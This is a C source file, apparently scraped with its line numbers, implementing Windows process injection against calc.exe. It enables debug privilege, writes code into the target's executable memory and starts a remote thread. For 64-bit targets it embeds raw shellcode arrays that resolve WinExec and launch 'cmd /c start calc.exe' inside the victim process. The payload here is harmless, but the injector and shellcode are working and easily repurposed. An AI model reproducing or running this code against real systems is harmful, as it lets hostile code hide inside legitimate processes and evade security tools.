1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417
| #include <windows.h> #include <stdio.h> #include <TlHelp32.h>
#define CREATETHREADPIC_SIZE 271 char CREATETHREADPIC[] = { "\x53" "\x56" "\x57" "\x55" "\xe8\x6c\x00\x00\x00" "\x85\xc0" "\x74\x5d" "\x48\x89\xe6" "\x48\x83\xe4\xf0" "\x48\x83\xec\x68" "\xb8\xfa\x80\x39\x5e" "\xe8\x78\x00\x00\x00" "\x48\x89\xc3" "\x4d\x31\xc0" "\x48\x31\xc0" "\x48\x89\x44\x24\x50" "\x48\x89\x44\x24\x48" "\x48\x89\x44\x24\x40" "\x48\x89\x44\x24\x38" "\x48\x89\x44\x24\x30" "\x8b\x46\x24" "\x48\x89\x44\x24\x28" "\x8b\x46\x20" "\x48\x89\x44\x24\x20" "\x44\x8b\x4e\x14" "\xba\x00\x00\x00\x10" "\x8b\x4e\x30" "\xff\xd3" "\x48\x89\xf4" "\xe8\x18\x00\x00\x00" "\x5d" "\x5f" "\x5e" "\x5b" "\xc3" "\x31\xc0" "\x48\xf7\xd8" "\xc3" "\xe8\xf5\xff\xff\xff" "\x74\x05" "\x58" "\x6a\x33" "\x50" "\xcb" "\xc3" "\xe8\xe8\xff\xff\xff" "\x75\x10" "\x58" "\x83\xec\x08" "\x89\x04\x24" "\xc7\x44\x24\x04\x23\x00\x00\x00" "\xcb" "\xc3" "\x56" "\x57" "\x53" "\x51" "\x49\x89\xc0" "\x6a\x60" "\x5e" "\x65\x48\x8b\x06" "\x48\x8b\x40\x18" "\x4c\x8b\x50\x30" "\x49\x8b\x6a\x10" "\x48\x85\xed" "\x89\xe8" "\x74\x4f" "\x4d\x8b\x12" "\x8b\x45\x3c" "\x83\xc0\x10" "\x8b\x44\x05\x78" "\x48\x8d\x74\x05\x18" "\xad" "\x91" "\x67\xe3\xde" "\xad" "\x4c\x8d\x5c\x05\x00" "\xad" "\x48\x8d\x7c\x05\x00" "\xad" "\x48\x8d\x5c\x05\x00" "\x8b\x74\x8f\xfc" "\x48\x01\xee" "\x31\xc0" "\x99" "\xac" "\x01\xc2" "\xc1\xc2\x05" "\xff\xc8" "\x79\xf6" "\x44\x39\xc2" "\xe0\xe7" "\x75\xb1" "\x0f\xb7\x14\x4b" "\x41\x8b\x04\x93" "\x48\x01\xe8" "\x59" "\x5b" "\x5f" "\x5e" "\xc3" };
#define EXECPIC_SIZE 123 char EXECPIC[] = { "\x53" "\x56" "\x57" "\x55" "\x83\xec\x28" "\x31\xc0" "\x40\x92" "\x74\x1a" "\x8b\x4c\x24\x3c" "\x50" "\x51" "\x64\x8b\x72\x2f" "\x8b\x76\x0c" "\x8b\x76\x0c" "\xad" "\x8b\x30" "\x8b\x7e\x18" "\xb2\x50" "\xeb\x17" "\xb2\x60" "\x65\x48\x8b\x32" "\x48\x8b\x76\x18" "\x48\x8b\x76\x10" "\x48\xad" "\x48\x8b\x30" "\x48\x8b\x7e\x30" "\x03\x57\x3c" "\x8b\x5c\x17\x28" "\x8b\x74\x1f\x20" "\x48\x01\xfe" "\x8b\x54\x1f\x24" "\x0f\xb7\x2c\x17" "\x48\x8d\x52\x02" "\xad" "\x81\x3c\x07\x57\x69\x6e\x45" "\x75\xee" "\x8b\x74\x1f\x1c" "\x48\x01\xfe" "\x8b\x34\xae" "\x48\x01\xf7" "\x99" "\xff\xd7" "\x48\x83\xc4\x28" "\x5d" "\x5f" "\x5e" "\x5b" "\xc3" };
typedef VOID(*pCreateRemoteThread64) (HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId, LPHANDLE hThread); typedef struct _RemoteParam { char szMsg[12]; DWORD dwMessageBox; } RemoteParam, * PRemoteParam; typedef int(__stdcall* PFN_MESSAGEBOX)(HWND, LPCTSTR, LPCTSTR, DWORD);
BOOL IsWow64(HANDLE hProcess) { typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); LPFN_ISWOW64PROCESS fnIsWow64Process;
BOOL bIsWow64 = FALSE; fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress( GetModuleHandle("kernel32"), "IsWow64Process");
if (NULL != fnIsWow64Process) { fnIsWow64Process(hProcess, &bIsWow64); } return bIsWow64; }
DWORD processNameToId(LPCTSTR lpszProcessName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(hSnapshot, &pe)) { MessageBox(NULL, "The frist entry of the process list has not been copyied to the buffer", "Notice", MB_ICONINFORMATION | MB_OK); return 0; } while (Process32Next(hSnapshot, &pe)) { if (!strcmp(lpszProcessName, pe.szExeFile)) { return pe.th32ProcessID; } }
return 0; }
BOOL Is64BitOS() { typedef VOID(WINAPI* LPFN_GetNativeSystemInfo)(__out LPSYSTEM_INFO lpSystemInfo); LPFN_GetNativeSystemInfo fnGetNativeSystemInfo = (LPFN_GetNativeSystemInfo)GetProcAddress(GetModuleHandle("kernel32"), "GetNativeSystemInfo"); if (fnGetNativeSystemInfo) { SYSTEM_INFO stInfo = { 0 }; fnGetNativeSystemInfo(&stInfo); if (stInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64 || stInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) { return TRUE; } } return FALSE; }
LPVOID init_func(char* asmcode, DWORD len) { LPVOID sc = NULL; sc = VirtualAlloc(0, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (sc != NULL) { memcpy(sc, asmcode, len); } else { MessageBox(NULL, "VirtualAlloc()", "Notice", MB_ICONINFORMATION | MB_OK); } return sc; }
DWORD __stdcall threadProc(LPVOID lParam) { RemoteParam* pRP = (RemoteParam*)lParam; PFN_MESSAGEBOX pfnMessageBox; pfnMessageBox = (PFN_MESSAGEBOX)pRP->dwMessageBox; pfnMessageBox(NULL, pRP->szMsg, pRP->szMsg, 0); return 0; }
bool enableDebugPriv() { HANDLE hToken; LUID sedebugnameValue; TOKEN_PRIVILEGES tkp; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { return false; } if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) { CloseHandle(hToken); return false; } tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = sedebugnameValue; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) { CloseHandle(hToken); return false; } return true; }
void free_func(LPVOID func) { if (func != NULL) { VirtualFree(func, 0, MEM_RELEASE); } }
int main() {
BOOL bWow64; char* szExeName = (char*)"calc.exe"; DWORD dwProcessId = processNameToId(szExeName); if (dwProcessId == 0) { MessageBox(NULL, "The target process have not been found !", "Notice", MB_ICONINFORMATION | MB_OK); return -1; } HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (!hTargetProcess) { MessageBox(NULL, "Open target process failed !", "Notice", MB_ICONINFORMATION | MB_OK); return 0; } bWow64 = IsWow64(hTargetProcess); if (bWow64 || !Is64BitOS()) { printf("32-bit process\n"); const DWORD dwThreadSize = 4096; DWORD dwWriteBytes; enableDebugPriv(); void* pRemoteThread = VirtualAllocEx(hTargetProcess, 0, dwThreadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!pRemoteThread) { MessageBox(NULL, "Alloc memory in target process failed !", "notice", MB_ICONINFORMATION | MB_OK); return 0; } if (!WriteProcessMemory(hTargetProcess, pRemoteThread, &threadProc, dwThreadSize, 0)) { MessageBox(NULL, "Write data to target process failed !", "Notice", MB_ICONINFORMATION | MB_OK); return 0; } RemoteParam remoteData; ZeroMemory(&remoteData, sizeof(RemoteParam));
HINSTANCE hUser32 = LoadLibrary("User32.dll"); remoteData.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA"); strcat_s(remoteData.szMsg, "Hello\0");
RemoteParam* pRemoteParam = (RemoteParam*)VirtualAllocEx( hTargetProcess, 0, sizeof(RemoteParam), MEM_COMMIT, PAGE_READWRITE);
if (!pRemoteParam) { MessageBox(NULL, "Alloc memory failed !", "Notice", MB_ICONINFORMATION | MB_OK); return 0; } if (!WriteProcessMemory(hTargetProcess, pRemoteParam, &remoteData, sizeof(remoteData), 0)) { MessageBox(NULL, "Write data to target process failed !", "Notice", MB_ICONINFORMATION | MB_OK); return 0; }
HANDLE hRemoteThread = CreateRemoteThread( hTargetProcess, NULL, 0, (DWORD(__stdcall*)(void*))pRemoteThread, pRemoteParam, 0, &dwWriteBytes); if (!hRemoteThread) { MessageBox(NULL, "Create remote thread failed !", "Notice", MB_ICONINFORMATION | MB_OK); return 0; } CloseHandle(hRemoteThread); FreeLibrary(hUser32); } else { printf("64-bit process\n"); char* cmd = (char*)"cmd /c start calc.exe"; int CmdSize = strlen(cmd);
HANDLE hProc, hThread; BOOL bStatus = FALSE; LPVOID pCode = NULL, pData = NULL; SIZE_T written; DWORD idx, ec; pCreateRemoteThread64 CreateRemoteThread64 = NULL;
printf(" [ opening process id %lu\n", dwProcessId); hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (hProc != NULL) { printf(" [ allocating %lu bytes of XRW memory in process for code\n", EXECPIC_SIZE); pCode = VirtualAllocEx(hProc, 0, EXECPIC_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (pCode != NULL) { printf(" [ writing %lu bytes of code to 0x%p\n", EXECPIC_SIZE, pCode); bStatus = WriteProcessMemory(hProc, pCode, EXECPIC, EXECPIC_SIZE, &written); if (bStatus) { if (cmd != NULL) { printf(" [ allocating %lu bytes of RW memory in process for parameter\n", CmdSize); pData = VirtualAllocEx(hProc, 0, CmdSize + 1, MEM_COMMIT, PAGE_READWRITE); if (pData != NULL) { printf(" [ writing %lu bytes of data to 0x%p\n", CmdSize, pData); bStatus = WriteProcessMemory(hProc, pData, cmd, CmdSize, &written); if (!bStatus) { printf(" [ warning: unable to allocate write parameters to process..."); } } } printf(" [ creating thread\n"); hThread = NULL; CreateRemoteThread64 = (pCreateRemoteThread64) init_func(CREATETHREADPIC, CREATETHREADPIC_SIZE);
CreateRemoteThread64(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pCode, pData, 0, 0, &hThread);
if (hThread != NULL) { printf(" [ waiting for thread %lx to terminate\n", (DWORD)hThread); idx = WaitForSingleObject(hThread, INFINITE); if (idx != 0) { MessageBox(NULL, "WaitForSingleObject", "Notice", MB_ICONINFORMATION | MB_OK); } ec = 0; if (GetExitCodeThread(hThread, &ec)) { printf(" [ exit code was %lu (%08lX)", ec, ec); } CloseHandle(hThread); } else { MessageBox(NULL, "CreateRemoteThread", "Notice", MB_ICONINFORMATION | MB_OK); } } if (idx == 0) { VirtualFreeEx(hProc, pCode, 0, MEM_RELEASE); if (pData != NULL) { VirtualFreeEx(hProc, pData, 0, MEM_RELEASE); } } } else { MessageBox(NULL, "VirtualFreeEx()", "Notice", MB_ICONINFORMATION | MB_OK); } CloseHandle(hProc); } else { MessageBox(NULL, "OpenProcess", "Notice", MB_ICONINFORMATION | MB_OK); } if (CreateRemoteThread64 != NULL) free_func(CreateRemoteThread64); return bStatus; } }
|